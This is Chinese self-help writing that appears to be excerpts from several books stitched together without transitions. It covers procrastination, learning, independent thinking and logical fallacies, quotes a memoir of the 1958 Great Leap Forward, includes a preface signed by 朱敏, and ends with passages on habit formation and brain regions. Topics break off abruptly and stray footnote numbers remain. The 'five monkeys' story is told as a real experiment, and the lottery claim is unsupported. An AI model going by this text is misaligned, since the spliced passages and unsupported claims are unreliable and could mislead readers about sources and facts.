　　来自外部的恐惧在于：过分在意外界的评价。人是一种很有趣的动物，在自己做对、做好之前，通常已经了解做对、做好是什么样子。于是，无论能否做对、做好，人都觉得自己有能力判断别人是否做对、做好。所以，尽管自己不怎么样，却可以振振有词、理直气壮地评价别人做得对不对、好不好。这样看来，一个人一旦开始认真做事，被嘲弄、被耻笑的几率将远远高于被夸奖、被鼓励的几率——这几乎是肯定的。也正是由于这个原因，使很多人怀有前文提到的“不求有功，但求无过”的微妙心态。

　　事实上，那些真正能够做对、做好的人，绝不会随意嘲弄、打击别人，因为他们是做对过、做好过的人，他们一路走过来，心里非常清楚做对、做好有多么不易，所以，他们会不吝一切机会去鼓励那些尝试做事情的人。这甚至可以当作一种测试方法：如果一个人经常嘲弄他人，那只能说明他自己不怎么样；否则，他会像那些极少数已经做对、做好的人一样，给予别人真诚的鼓励而非嘲弄。尽管那些能真正做对、做好的人有时也会给出负面评价，但这些评价通常是“建设性的负面评价”，并不是为了获得优越感而发出的嘲弄。

　　所以，我们没有必要在意来自他人的、非建设性的负面评价。没有谁从一开始就能做对、做好。所有做对、做好的人都是一路磕磕绊绊走过来的，这就是生活常态。而动辄给出非建设性负面评价的人，往往不是正经做事的人，他们和那些正经做事的人身处不一样的世界，这也是生活常态。

　　还有一个微妙的现象需要注意。尽管在一般的环境中，时间的运动是匀速的，但实际上，就人的主观感受来说，时间的运动肯定是有加速度的。对“为什么随着年龄的增长每个人都会觉得时间过得越来越快”这个问题，心理学家有一个简单明了的解释：

　　对一个 5 岁的孩子来讲，未来的 1 年相当于他已经度过的人生的 1/5，即 20％；而对一个 50 岁的成年人来讲，未来的 1 年只相当于他已经度过的人生的 1/50，即 2％。所以，随着年龄的增长，人们会觉得时间运动得越来越快。

　　更重要的是，人在小时候没什么事情可做，就愈发感觉时间过得慢；随着年龄增加，要做的事情越来越多，当然就愈发感觉时间过得飞快，稍纵即逝。由此看来，小孩子的感觉自然是“那时候天总是很蓝，日子总过得太慢”，而“人生犹如白驹过隙，瞬间而已”大都是老年人的慨叹，也是他们的切身感受。

　　就算没有低估完成任务所需要的时间，就算已经迅速开始执行任务，很多人还是没有按时完成任务。为什么有的人好像一直在忙，却总是拿不出成绩、做不出成效？其实，工作中经常会遇到这样的人，读书的时候也不例外——上学时总有一些天天笔不离手，眼不离书，屁股不离板凳，成绩却很差的学生。这种情况的存在往往会使人们不禁怀疑“努力”的可靠性。还好，仔细观察就会发现，他们实际上并不努力，只是做出了努力的样子，或者显得比较努力而已。

　　无疑，他们的效率低下。而效率低下的根本原因是什么？答案是：回避困难。

　　任何一个任务都可以划分为两个部分，即相对简单的部分和相对困难的部分。如果世界上的任务都是由简单的部分构成，全无困难之处，那就没有人会遇到挫折或者遭受失败了。可现实明显并非如此。

　　稍微思考一下就能明白，合理的时间安排应该是这样的：迅速做完简单的部分，把节省出来的时间放在困难部分的处理上。然而，很多人会下意识地回避困难，于是乎，他们的时间安排是这样的：用几乎全部时间处理简单的部分，至于困难的部分，干脆“掩耳盗铃”，视而不见，暗地里希望困难自动消失……

　　这样的行为与做事的动机有关。人做事的动机往往来自两个截然相反的原因：奖励与惩罚。人都喜欢被奖励，讨厌被惩罚。从最浅的层面上看，尽力做能够获得奖励的事情显然是划算的，回避做可能招致惩罚的事情显然是合理的。

　　然而，从另一个层面上看，接受惩罚往往是积累经验的起点，甚至是唯一的起点。这就是俗话所说的“吃一堑，长一智”。很多时候，为了能够“长一智”，必须先“吃一堑”，西方称之为“挫折教育”。

　　很多事情并不是一过性的，总会阶段性地有奖有罚。受到奖励之后，原本有两个选项：“再次来过”和“见好就收”。有意思的是，绝大多数人会自动忽视第二个选项（这也是庞兹骗局(1)生生不息的根本原因）。受到惩罚之后，同样有两个选项：“从此碰都不碰那件事情”和“挣扎着找一个出路”。同样有意思的是，绝大多数人还是会自动忽视第二个选项。

　　所以，很多人实际上根本不知道自己所谓的“喜欢做某件事情”很可能只是因为那件事情相对简单、容易获得奖励而已。拖延的人并非不做事——他们做事，甚至做很多事。拖延的人也并非不努力——他们会花很长时间去做事，但做的只是很多简单的事。他们每次回避困难的时候，都不是故意的，并且往往已经给自己找了恰当的借口。这借口太强大、太有力，以至他们真诚地相信：“我喜欢做有创意的事情，而现在手上的这些事情太枯燥，我确实提不起兴趣……”

　　如果不能控制这种逃避的倾向，再多、再好的任务管理技巧都是无效的，因为任务中相当重要的一部分（通常因为重要而困难，也因为困难而重要）永远无法完成。所谓效率，是在任务完成之后才能够衡量的。这样看来，对逃避困难的人来讲，因为没有完整地完成任务，所以无论他们花了多长时间，也都没有效率（相当于分子为零）。

　　现实中，这种现象无处不在。例如学习上，准备托福考试时只做阅读和听力但不练习口语和写作；例如工作上，做项目计划时只讨论做什么却从不提及怎么做；例如生活上，总是把“我爱你”挂在嘴边却从来不花时间想想恋人真正需要的是什么……这些问题都源自同一个习惯：专做简单的，回避困难的。

　　所有真正踏实做事的人都知道，任何任务的绝大部分都是枯燥而又无趣的，所谓有创意的部分，可能连 1％都不到。

　　“学习”最关键的一点是：任何知识的获取，都是不可逆的。在知道它的那一瞬间，它就已经改变了一切，生活因它而变，却无法还原。我们再也不可能对它视而不见、听而不闻、置之不理，它瞬间就能根深蒂固，无法铲除。例如，那些学过概率统计的人，在一般情况下是没办法掏钱买彩票的，因为买彩票这种行为在他们眼里是对自己智商的侮辱。但与此同时，彩票是地球上最畅销的商品（没有之一），可见有多少人一生都未曾有机会了解那些重要的知识。

　　“学习”的重要起点是：起码学会一种技能。无论这种技能多简单、多普通，学会之后总是可以让学习者了解“习得”带来的大不同。一旦拥有了一个起点，学习欲望就会像发了芽的种子，无论多大的石头都压不住——它会越来越茁壮，越来越坚强。其实，那些拒绝学习或者一不小心受了影响而把“学习”两个字妖魔化了的人真的非常可怜，他们每天都在挣扎着想要“管理时间”、“珍惜生命”、“提高效率”，却不知道他们因为当初不肯花十几分钟学习而导致其后少做了很多事情、错过了很多机会，并且连只有一次的人生都没有过好。

　　千万不要拒绝学习。

　　今天，与“创世说”的观点相反，严肃的科学杂志上没有发表过否定演化论的消息。1997 年，美国华盛顿大学的乔治·吉尔克里斯特(9)调查了列入原始文献的数千种期刊(10)，想要找到关于“神力设计”或“创世说”的文章。他检索了数十万篇科学报告，结果一无所获。后来，东南路易斯大学的芭芭拉·弗瑞斯特(11)和凯斯西部保留地大学的劳伦斯·克劳斯(12)用了几年的时间分别独立进行了同样的调查，结果与吉尔克里斯特的调查结果如出一辙。可以说，今天所有严肃的科学家都应该是相信并能够理解演化论的(13)——尽管他们同样可能有自己严肃的宗教信仰。

　　我们知道，每个人内心都充满了恐惧，而所有的恐惧其实都源于我们害怕未知。这样看来，恐惧是永恒的，因为我们不可能无所不知。对此，托马斯·叟(14)的类比特别精巧：“在茫茫而又无限的未知空间里，我们的‘知识’只不过像其中的星球一样，而星球与星球之间的空隙比那些星球本身不知道要大出多少倍。(15)”所以，我们需要“信仰”、“希望”、“爱”、“奇迹”，甚至“怪力乱神”等被学者们称为“必要之幻觉(16)”的东西去填补这些空隙才能心安。

　　由此可见，讨论很多人热衷的“爱因斯坦(17)的宗教信仰究竟是怎样的”或者“爱因斯坦究竟有没有宗教信仰”之类问题的意义不大。因为，爱因斯坦也是人，他也一样会心存恐惧或者敬畏，他也一样要面对未知——即便他知道得比与他同时代的其他人都多得多，可他已知的一切与未知的一切相比，不过是沧海一粟而已。所以，就算他有信仰，也并不令人惊讶；就算他有信仰，他信奉的也肯定不是那些拒绝科学的人所信奉的神。从这个角度上说，开启心智、正确思考，更值得我们投入时间与精力。

　　把 5 只猴子关在一个笼子里，笼子顶上挂着一串香蕉。实验人员准备了冰水，一旦有猴子碰到香蕉，马上就会有冰水浇向所有猴子。

　　开始，有只猴子想去拿香蕉，导致所有猴子都被冰水浇，之后，每只猴子经历过几次同样的尝试，发现莫不如此。于是，猴子们不再试图去拿香蕉了。

　　然后，实验人员把其中的一只猴子换出，换进一只新猴子。这只新猴子看到香蕉，自然马上想要去拿。结果还没等浇水，其他 4 只猴子就对那只新来的猴子一顿暴打。新猴子挨了几次打之后，也不再试图去拿香蕉了——怕挨打。

　　如此，实验人员再把第一次实验中留下的 4 只猴子中的一只换出，换进另一只新猴子。这只新猴子看到香蕉，也是迫不及待想要去拿，当然，一切如前，等待它的是其他 4 只猴子的一顿暴打。最后，这只新来的猴子也不敢去碰香蕉了。

　　最有趣的是，上次挨打的猴子，这次出手最重——其他猴子也许是出于自卫，但这只猴子肯定是出于报复，因为它并没有被水浇过。

　　一段时间后，最初的 5 只猴子都被换走了，剩下的 5 只猴子并不知道冰水的存在，它们只知道一件事情——谁要敢碰那串香蕉，就要遭到一顿暴打。当然，它们的行为与自卫无关，全都是出于报复！

　　美国前第一夫人罗莎琳·卡特(14)就观察到了这样一个现象：“ 优秀的领导，能够把人们带到他们想去的地方；而卓越的领导，能够把人们带到他们应该去但是没想过要去的地方。 (15)”

　　我国的教育把语文和文学过分紧密地联系在一起，以至有时忘了文字本身最重要的意义，而文学，只是文字应用众多领域中的一个而已。这个事实也许很多人不愿意接受，但静下心来想想，在我们的文化中，如果真的少了一部《红楼梦》(1)或者《西游记》(2)，实际上并不会影响今天人们刷信用卡买东西、用互联网查资料、乘飞机出行、饿了吃饭、病了服药、困了睡觉。日本没有渡边淳一(3)、大江健三郎(4)，一样可以有索尼(5)这种超级企业；美国没有梭罗(6)和海明威(7)，一样可以打赢第二次世界大战，成为超级大国；英语今天主宰全球的原因并不是英国有莎士比亚(8)、培根(9)、狄更斯(10)和柯南·道尔(11)。我国的语文教育忘记教会学生如何用简洁、有效、准确、朴素、具体的文字记录自己的知识和经验，以便将来通过共享获得更多的知识和经验。所以，中国人做不出 Linux(12)，做不出维基百科(13)，写出来的网志大多是无病呻吟的心情日记。请注意，我并没有任何鼓吹“文学无用”的意思，我只想说：从人类的整体发展情况来看，除了“文学”，文字还有更多其他的责任，如传递信息、积累经验、共享知识等，而且对大多数普通人来说，后者可能更为重要。

　　一旦开始尝试独立思考，我们就会发现，陷阱无处不在。这些陷阱直接导致无数人放弃思考——因为在很多时候，思考虽然不费力气，但实在是太麻烦了。为了避免麻烦而把思考推给别人是一种常见的解脱手段，由此，大多数人身上出现了大量“迷信权威(4)”的现象，只不过程度不同。“迷信权威”本身就是一个典型的陷阱：权威的意见可能更加准确，可是，权威也好、专家也罢，滥竽充数的实在不少。为此我们不得不常常采取“求人不如求己”策略。这也展现了一个无奈的事实——我们生活在一个信任成本极高的社会。

　　在深入探究思维陷阱之前，先让我们多花一点时间讨论一下“迷信权威”这个问题。在常见的思维谬误中，“诉诸权威(5)”与“诉诸情感(6)”一样被列为有逻辑错误嫌疑的辩论方式。首先，权威不一定正确；其次，对正确的权威信息很多人的理解并不正确；再次，权威可能别有用心；最后，权威可能并不存在。不过从另外一个角度讲，迷信权威诚然不对，但鄙视一切权威无疑也有偏颇——总是有真正负责任的专家、权威存在。现在的问题是：我们应该在多大程度上相信权威？

　　诉诸权威，本质上源自人们对确定的渴求。面对未知，我们希望有人能够清晰解答；面对争议，我们希望有人能够一锤定音。可我们总是无法如愿。其实这也没什么可抱怨的，因为我们就生活在一个不确定的世界里。然而，没有几人愿意最终面对不确定的答案、不确定的结果。

　　一九五八年……当时《中国青年报》报道：贵州省金沙县（中国最穷的地方）一个社创造了单季亩产水稻三千零二十五斤的纪录。几天之后，《人民日报》报道：甘肃省某社在二分五的山地上，一青年突击队创造了亩产马铃薯一万七千四百一十斤的全国高额丰产纪录。紧接着，《人民日报》报道：河北省静海县陈官屯用五天时间建成一个水利发电站。《浙江日报》报道：浙江省一个多月发展的民办学校达八千五百一十六所。新华社报道：河南省遂平县卫星农业社五亩小麦产二千一百零五斤。一天后，湖北省谷城县东尼社宣布：亩产二千三百五十七斤，创了新纪录。两天后河南卫星社又放第二颗卫星：亩产三千五百三十斤。四天后，河北省临漳县红光社又宣布亩产高达三千六百五十斤。同一天，同属湖北谷城县的星光社宣布创四千三百五十三斤新记录。二十天后，河南省西平县和平社又宣布，达到亩产七千三百二十斤。一个月之内神奇般地上升，各路诸侯都是“各领风骚三五天”。到九月一日一颗特大卫星把全国人都惊得目瞪口呆：河北省徐水县宣布，亩产山药蛋一百二十万斤，要创造一棵白菜五百斤，小麦亩产十二万斤，皮棉亩产五千斤，全县粮食亩产二千斤的高产卫星。《人民日报》报道，徐水人民公社将在不远的将来把社员们带入人类历史上最高的仙境，这就是各尽所能，各取所需的自由王国的时代，跑步进入共产主义。毛泽东非常兴奋地跑到徐水，问：粮食产这么多放到哪儿去？肉产那么多，怎么吃呀？

　　这一句话使全国都疯了。中国人的想象力就充分发挥了。由全国大炼钢铁，全民大产粮食，到全民写诗。到处是赛诗会，异想天开，奇思狂想。吉林省八积垒赛诗会上，一人朗诵：“今年是个丰收年，秋后粮食堆成山。不知粮食打多少，压得地球乱转圈”。又有一个高声叫道：“这不算啥，听我的——社里麦穗插云间，麦芒刺破玉皇殿。麦根扎到龙王庙，吓得东海波浪翻。”掌声刚起，又有人喊道：“听我的——深耕细作产量高，一棵玉米穿云霄。彩云拴着玉米腰，吓得月亮弯弯腰。”做梦到了登峰造极的地步。

　　我当时在北大读书，也卷入了这样的狂潮。订计划一天要写几百首诗，整夜不睡地写，比谁大胆，谁善于狂想、做梦。

　　从另一个角度看，拒绝独立思考、把思考的工作交给别人，不仅不省时间，恰恰相反，非常浪费时间——甚至浪费一生的时间。

　　举例来说，在工作岗位上，有些人像顶着一颗榆木脑袋一样，只做领导要求做的事情，但往往连被要求做的事情都做不好。很多时候，这些人并不是偷懒，而是长期养成的习惯（回避思考的思维模式）造就了他们的行为模式——他们根本想不出该干的是什么，所以只求把领导交代的任务完成以保饭碗。可是，他们甚至连该怎么干好那些被交代的任务都想不清楚，因为他们的脑袋从未“用进”、只曾“废退”，早就退化成了实心的榆木疙瘩，没什么用处。

　　而另外一些人（肯定是少数），在接到任何任务之后，都勤于琢磨，思考该任务的目标、实质、意义，再据此思考完成该任务的方法。于是，他们会为了完成任务、实现目标，去做很多领导原本未曾交代的事情。最终，他们不仅能完成任务，还常常有很多意外收获……

　　这就是差别。前者往往在一个工作岗位上“兢兢业业”、“勤勤恳恳”，却“一无是处”、“碌碌无为”，后者却在同样的时间里“一步一个脚印”，“步步高升”……后者逐渐会拥有更多的机会，占据更大的平台，最终与前者成为两个完全不同的世界的人。

　　很多人就是这样，坚持拒绝思考，然后用天下最累的方式生活而不自知。大哲学家罗素(10)曾观察到这个现象，他为之奇怪并慨叹，“很多人宁愿死也不愿思考”，然后戏谑道，“实际上，他们确实死得很快(11)。”

　　如此看来，“电视破坏了人与人之间的沟通”这种观点，或者说这种观点之后的因果关系，是无法被大多数人接受的和站不住脚的。

　　另一个需要注意的非常重要的情况是，有些时候，相关联的两者间是“互为因果”的。

　　我能想到的最夸张、最误导人的把互为因果的关系谬解成因果关系的例子，是教科书中的一个观点：外因通过内因起作用(4)。它的意思是，如果有什么东西发生了变化，那么根本原因只有一个，就是内因。即使外因有作用，也是通过内因引发的，所以，根本原因还是内因……

　　可事实根本不是这样。外因会影响内因，内因同样会影响外因。它们相互影响，互为因果。

　　以一个特别好玩的现象为例：在某种意义上，学生的水平决定教师的水平。

　　这话并没有说反。师生之间的有效沟通，肯定不仅是教师单方面的灌输。越是用心的教师，越关注学生的反馈；越是用心的学生，越关注教师对他的反馈的反馈。显然，这种沟通不仅是双向的，还随着双方的用心程度不断增强。

　　这和下棋是一样的道理。据说，棋艺到了一定程度，棋手就会不由自主地挑选对手，因为跟高手下棋就会进步，但反过来，与“臭手”交手多了，自己的手也会变“臭”……优质的学生，对他们的教师来说，不仅是令人愉悦的教学对象（学生一点就透，老师没有不开心的），更重要的，他们还是对教师的挑战——这些学生有着长期而且优秀的学习经验，也因此拥有相对良好的判断能力，随时可能提出一般教师无法回答的问题。经过一段时间的积累，双方都会因为教学和沟通发生巨大的进步——只要双方都足够优秀，足够用心。

　　不过，大多数人是不用心的。所以现实常常是这样的：

　　教师并不用心。

　　教师“不用心”本质上就是“怠慢优秀学生”。

　　优秀学生都离他而去。

　　留下的都是缺乏判断力的学生。

　　这样的学生很好“对付”，他们甚至依然给教师足够的“尊重”。其实，越差的学生越可能产生“崇拜”心理，而这个看起来很吊诡的现象其实非常正常。

　　在这种情况下，教师的境遇竟然是“越差越好”。当然，不能差到平均水平以下，那样“连傻子都会看出来”。

　　教师很爽，学生很爽……大家一起爽，各自毫无进步，甚至退步了也不自知……

　　光阴似箭，日月如梭，一晃几年过去，这样的教师在能力上就被“固化”了。固化之后再想转变（如若有足够心智觉醒的话），不仅痛苦，而且艰难。当然，我观察到的更多情况是：这些人会为自己的尴尬找出一种可以让自己心安的解释，就好像某些不招人待见的丑女对自己从未收到过情书的解释是“我才不像她（某个美女）那样作风不正派呢”一样。

　　有一天，我在 Twitter 上随口说了一句(4)：

　　脑残者最好玩的地方在于他们认为别人才是脑残呢。

　　多少出乎我意料的是，很快就有人这样回复：

　　这很明显将陷入悖论：假如笑来不认为别人是脑残，如何得出以上结论；如果认为别人是脑残，根据其理论，他自己才是脑残。

　　我实在没办法在 Twitter 那 140 个字的空间里讲清楚原逆否命题的道理，只能补充说(5)：

　　“脑残者最好玩的地方在于他们认为别人才是脑残呢”这句话本身并不意味着“认为别人脑残的人才是脑残”。

　　《异类》(6)的作者马尔科姆·格莱德威尔(7)在其成名作《引爆点》(8)中提到了一个现象：禁烟运动往往带来反效果，越禁越吸引未成年人，因为突破禁忌总会带来一些微妙的快感。很多未成年人开始吸烟，并非因为吸烟很酷，而是因为他们看到吸烟的人很酷(9)——例如隔壁那个很酷的姐姐。

　　实际上，这种认知也是因为分不清原命题和逆命题之间的关系造成的——

　　原命题：很酷的人都吸烟。

　　逆命题：吸烟的人都很酷。

　　结论：我也想酷，所以，我要吸烟。

　　事实上，每天有无数的人因为分不清原命题和逆命题而被他人左右。混淆原命题和逆命题，抹杀两者之间的差别，是广告设计者最常用、最舍不得放弃的手段——因为它很有效，正如之前的统计数字所表明的，至少对 70％的人有效。

　　还有，一定要了解这样一个事实：有些时候，“成功者”的经验没什么用，因为那些经验根本就是错误的，而这一点“成功者”自己可能也不了解。例如，他们遇到了一个经济飞速增长的时代，无论做什么都赚钱，并且赚得很多，所以从宏观上来看，根本就不是他们自己所认为的宝贵经验在起作用，而是宏观经济给了他们这样的机会。但是，有谁愿意承认自己的成功跟自己的经验没有关系呢？人类普遍拥有的一个认知偏差就是：把成功揽到自己身上，把失败归咎于别人或者坏运气。这在心理学上有个术语——自利性偏差(5)。从这里我们就可以知道，那些“成功者”这么做的时候往往并不是有意欺骗——他们甚至出于好意。

　　这里提供一个很实用的建议：与其关注成功者，不妨反其道而行之——努力从失败者身上汲取经验。

　　不要说模仿成功者，就算观察成功者也很困难。成功者很多，但是，我们身边真正的成功者却很少。成功背后的东西很难看清楚，所谓成功的真实性也很难判断，成功者们又会有意无意地美化和包装他们的经验，而这一切，都在干扰我们的判断。不过，观察失败者却相对容易得多，因为失败者的失败往往是明显的、确定的，失败的真正原因也往往很容易查实（尽管失败者会找各种各样的借口）。并且，我们身边失败者的数量，显然要多于成功者的数量。如此，我们也就有了更多的观察机会。

　　有了这样的认识，我们就会经常碰到所谓的“幸运”——当你马上就要犯错误的时候，有人先犯了同样的错误。不过，仅仅“专注于汲取教训，而不是幸灾乐祸”这件事本身都不容易做到。

　　经过这些分析，可以知道，有一句话值得牢记：人家说什么你就信什么，挺傻的。

　　只有经过自己的仔细分辨，真正成功者的宝贵经验才是无价的。需要额外注意的是，一方面要多花心思分辨，另一方面要多花时间真正了解自己，以便能够避开“一概而论、生搬硬套”可能带来的灾难。

　　以下一些句式最好经常使用，因为它们特别有助于独立思考习惯的养成，并且也有刺激思考的作用：

　　……是一回事，而……是另外一回事。

　　……和……其实根本不是一回事。

　　……不一定……

　　……可是，这并不意味着……

　　……也许还有另外一种可能性（解释）。

　　……看起来像……可是……

　　……而事实却可能远比看起来的更为复杂（简单）。

　　……然而，（这个论断）反过来（陈述）却不一定成立，因为……

　　……其实很可能与……根本就没有任何关系。

　　……和……之间不一定是单纯的因果关系，它们也可能互为因果。

　　……和……之间的比较也许没有任何意义。

　　……其实不过是表面现象，其背后的本质是……

　　……有一个通常被忽略的前提。

　　……尽管听起来很有道理，然而却完全不现实。

　　……也许有人会说……但是这种质疑却……

　　这些句式看起来简单，却往往能带来不同凡响的思考结果。

　　平时遇到任何问题的时候，都不妨把这些句式套进去填空——就当想着玩了——要不了多久我们就能体会这种游戏的有趣之处。不出意外的话，我们会发现自己的思维因为这些句式的运用而不由自主地发生了巨大转变。例如，“……和……其实根本不是一回事”这个句式往往瞬间就能使一个人的脑子更加清楚。

　　“……难道就没有一点可取之处吗？”这个常见的句子还有一个变体：“我发现……还是很有一些道理的！”唉，那不是废话吗？就算是在希特勒的《我的奋斗》里也有很多相当有道理，甚至相当精辟的观点。但为什么全世界都要禁掉这本书呢？就算跳大神的也有可能说中那么一两次，但为什么我们一次都不能信呢？闭上眼睛蒙对一次一点也不难——即便是一只坏掉不走的表，一天之中起码还能对两次呢。

　　“我发现……还是很有一些道理的！”常常成为很多人把垃圾当宝贝的唯一理由。可是何必呢？那些真正有道理的部分，不一定只在那里存在啊！垃圾里当然也可能有些宝贝，但是在宝贝已在眼前、用都用不完的时候，为什么还一定要跑到臭气熏天的垃圾堆里“淘宝”呢？这道理尽管简单，但总是被很多人忽视，小则误导自己，大则误导别人，巨则误导至少一代人。三叹。

　　最后，我们要明白一件事情：在决定是否给别人提供帮助的时候，要考虑他是否值得我们帮助。同理，当我们需要别人的帮助的时候，他们也会有意无意地如此判断。所以，我们现在就应该拿出一张纸，把值得自己帮助的人的特征都写下来，看看自己是否满足这些特征。如果并不满足，想想自己是不是应该改进。另外，不要觉得优秀的人不需要帮助，其实我们总能发现，优秀的人往往会获得更多的帮助。为什么？因为所有的人在潜意识里都清楚，帮助优秀的人给自己带来的回报，很可能会比帮助一般的人更高。相信我，要想提高自己的社交质量，最好将时间和精力更多地倾注在“把自己变得更加优秀”这件事情上——哪怕只在某一个方面。

　　以我个人的体会，我非常鼓励每个年轻人能花上几年时间到国外走一走，学一学。教育的根本其实只不过是“见多识广”。然后，再用五到十年时间定义一个属于自己的人生方向，为之奋斗，为之坚持，不知停歇地努力上十年二十年。有些成功靠运气，可是持续的成功却与运气无关。希望每位读到此书的年轻人，能够重塑自己的心智，洗尽这个时代在你们身上烙下的浮夸、急躁的印记，在人生这场马拉松中跟我一样坚持到底，永不放弃，获得最后的成功。希望我在耳顺之年，能在科技世界与国际教育事业上与君共勉。

　　朱敏

　　赛伯乐（中国）投资公司董事长

微习惯：简单到不可能失败的自我管理法则

养成新习惯需要多长时间？

　　视情况而定。如果有人给了你不一样的答案，肯定也是从别处听到的（而且是错的）。

　　不是 21 天，也不是 30 天。天哪，我真想把这句话贴在所有广告牌上。“21 天”谬论可能源自一位整形外科医生麦克斯威尔·马尔茨（Maxwell Maltz）。据说，马尔茨医生发现接受截肢手术的患者需要大约 21 天来适应肢体残缺的事实，因此，他认为 21 天是人们适应任何生活变化所需的时间长度。医生，真的是这样吗？在我看来，习惯肢体残缺和努力多喝水可不是一回事，而且我还要补充一点：这两件事都和争取每天做 150 个俯卧撑大不相同。

　　关于习惯形成所需时长，被引用最多的是发表于 2009 年的《欧洲社会心理学杂志》（European Journal of Social Psychology ）上的一项研究，研究的每位参与者选择“每天在同样的条件下（比如“早饭过后”）进食、饮水或做其他活动，总共 12 周”，他们有什么发现呢？

　　一个行为变成习惯所需的时间平均为 66 天，但不同行为所需时间相差很大，从 18 天到 254 天不等，这表明人们将习惯自动化所需时间千差万别，在某些案例中，这个时间可能惊人地长。“21 天”和“30 天”挑战很流行，但很多类型的习惯完全不可能在这么短的时间内养成。每天喝一杯水可能属于 21 天就能养成的习惯，但是像每天 100 个仰卧起坐这样更具有挑战性的行为则要几百天甚至更长时间才能变成习惯。

　　当一种行为成为一个习惯，你会变得没有刚开始时那么情绪高涨，这种行为甚至开始有些乏味无聊。事情当然会变成这样了。杰里米·迪安（Jeremy Dean）在《习惯：改变命运的关键力量》（Making Habits，Breaking Habits ）中写道：“习惯不仅无法被认知捕捉到，而且也不会掺杂情绪。……很奇怪，人们进行习惯行为时是不带有情绪的。”温迪·伍德博士及其同事们在德克萨斯农工大学进行的一项研究中记录了这样的情况：当参与者做出惯性行为时，毫无疑问，他们比平时更缺乏情绪变化。这就是“需要动力才能行动”的想法在培养习惯时反而会帮倒忙的原因。重复不会让我们兴奋地行动起来，反而会让我们趋于平静。习惯带来的好处在于抵触情绪少了，自发性多了。迪安表示：“惯性行为不会引发强烈情绪，这是它的一大优势。”的确是这样，因为任何依赖人类情感的东西都是完全不可靠的。

前额皮层——对抗自动行为的防御武器

　　为了更好地了解前额皮层，我们先看看如果缺少了它会怎样。没有前额皮层，大脑会如何运转呢？不太乐观。下面的这项研究展现了前额皮层和大脑其他部分的功能。你去掉某个部件后，就会看到它的功能有多大影响，以及没有它存在时其他部分是如何运转的。

　　法国神经学家弗朗索瓦·莱尔米特（Francois Lhermitte）对额叶受损的患者进行了测试。他在以下研究中证明，如果缺少了额叶的一部分、作为“管理者”的前额皮层，大脑的运转方式会发生极大的变化。

　　莱尔米特的研究选取了两组人群做对比——额叶受损者和额叶正常者。实验中，被试坐在实验人员对面，问一些面试风格的问题。实验人员负责对被试的问题表现出冷漠，不回答他们的问题，偶尔随意做出一些让人疑惑不解的动作，比如摸一下鼻子、敬个军礼、折纸然后放到信封里、嚼纸、唱歌、拍腿和抽泣等。

　　研究人员有如下发现。正如我们所料，额叶正常的被试觉得实验人员的行为很古怪，他们的反应是：“这家伙有什么毛病？”许多年轻的参与者甚至哈哈大笑。当被问到他们有没有想过模仿他时，他们说：“没有，根本没有。”

　　接下来就更有意思了。几乎所有额叶受损的被试都模仿了实验人员的荒唐动作——而且相当精确和到位。比如，男人们会心甘情愿地当着其他人的面对着墙小便，没有表现出丝毫惊讶，也完全不在乎。他们无法准确模仿时（比如没有纸可以折或咀嚼），也会找到“完美的”弥补方法。

　　以下内容摘自研究报告：“在实验过后的面谈中，所有额叶受损者都能记住实验人员的动作。当被问到为什么要模仿时，他们表示实验人员做了动作，他们就必须模仿。当被告知没有人让他们模仿这些动作时，他们的回答是既然动作已经做出，自己就必须模仿。在被告知不要模仿后，大多数患者还是表现出了同样的模仿行为。”

　　那些额叶受损者忍不住要模仿实验人员的动作，哪怕有人要求他们不进行模仿。额叶受损者似乎无法做出某些决定来“抑制”潜意识。潜意识几乎就像另一个物体，或者一台机器一样。同样有趣的是，额叶正常的被试忘记了实验人员的一些动作，而额叶受损者能记住他们的每一个动作。这表明，正常额叶（包括前额皮层）削弱了我们对潜意识型认知的关注，而且能阻止或发起行为，这就是我们把它称作“管理者”的原因。它会监督自发行为，发现有能改进的地方时，它就会介入。现在我们来看看另一方面——如果基底神经节功能失常会怎样？

基底神经节——模式探测器

　　大脑的基底神经节从生理角度看是一组神经核，它们形成一个整体，在习惯的形成和程序性学习中起核心作用。

　　但研究也指出，大脑的许多系统以复杂的方式相互作用，基底神经节未必能被单独看作“大脑的习惯部分”。神经科学虽然有助于我们理解大脑，但也无法完全准确解释大脑的工作机制。这不是说它有误导性或不准确，而是说它只给了我们看到一个巨大谜团的冰山一角的机会。大脑的工作机制太过错综复杂，现代科学还需要在很多方面展开探索。即便如此，知道基底神经节在习惯形成中起主导作用还是有用的。结合经验、实验以及充分的了解，我们对大脑工作机制的有限认识就会成为个人成长的强大助力。

　　莱尔米特对额叶功能有障碍或受损人群的研究体现了大脑执行功能的重要性，有了它，我们才不会机械地做一些我们不愿意做的事情。可如果基底神经节受损或功能失常会怎样呢？关于这个问题也有一项研究，研究认为基底神经节受损或功能障碍会导致你丧失形成习惯的能力。

　　研究人员召集了 3 类人群——健康人群、帕金森综合征患者和有记忆障碍的人群。由于细胞坏死，帕金森综合征患者的大脑很难把神经递质多巴胺运送到基底神经节，从而导致基底神经节功能障碍。

　　参与者会拿到 4 张卡片，卡片上的图形是随机的，他们被要求预测每张卡片代表的是雨水还是阳光。人们很难有意识地在卡片和结果之间建立联系，但可以在潜意识中掌握某种微妙的联系模式。这项研究总共进行了 50 次测试，大约 10 次之后，健康的参与者和有记忆障碍的参与者都能逐渐提高猜测的准确率，从 50% 提高到 65%~70%；他们在潜意识中掌握了暗示雨水或阳光的模式。而帕金森综合征患者的准确率最终也没有超过 50%。因为不具备正常的基底神经节，他们的大脑无法探测到模式（因此，他们很难养成新习惯）。

　　如果用最简单的术语表述，我们能从这些研究中看出，大脑是由执行决策和进行自动行为模式识别的两部分组成的系统。前额皮层的管理功能相当活跃，反应灵敏，但同时也消耗了大量的精力（和意志力）。基底神经节的自动功能不仅强大，而且效率高。它们能节省精力，无须持续监督就能处理各种任务。

一周弹性计划（推荐）

　　根据这个计划，你从一个习惯开始，使用微习惯策略一周时间，然后进行评估并选择一个长期计划。

　　一周评估：你有没有感到筋疲力尽？是否发现自己每天都能轻松超额完成目标？完成这些目标是否不费吹灰之力，让你渴望培养更多好习惯呢？你可以继续专注于一个习惯或者增加更多习惯，这要看它对你来说有多大的挑战性。因为并不是所有习惯的难度都一样，所以确定一个适合所有人的固定时间长度显然不可能，这么做也不明智。同时，请记住：你的微习惯越多，超额完成的可能性就越低。

意志力的工作原理

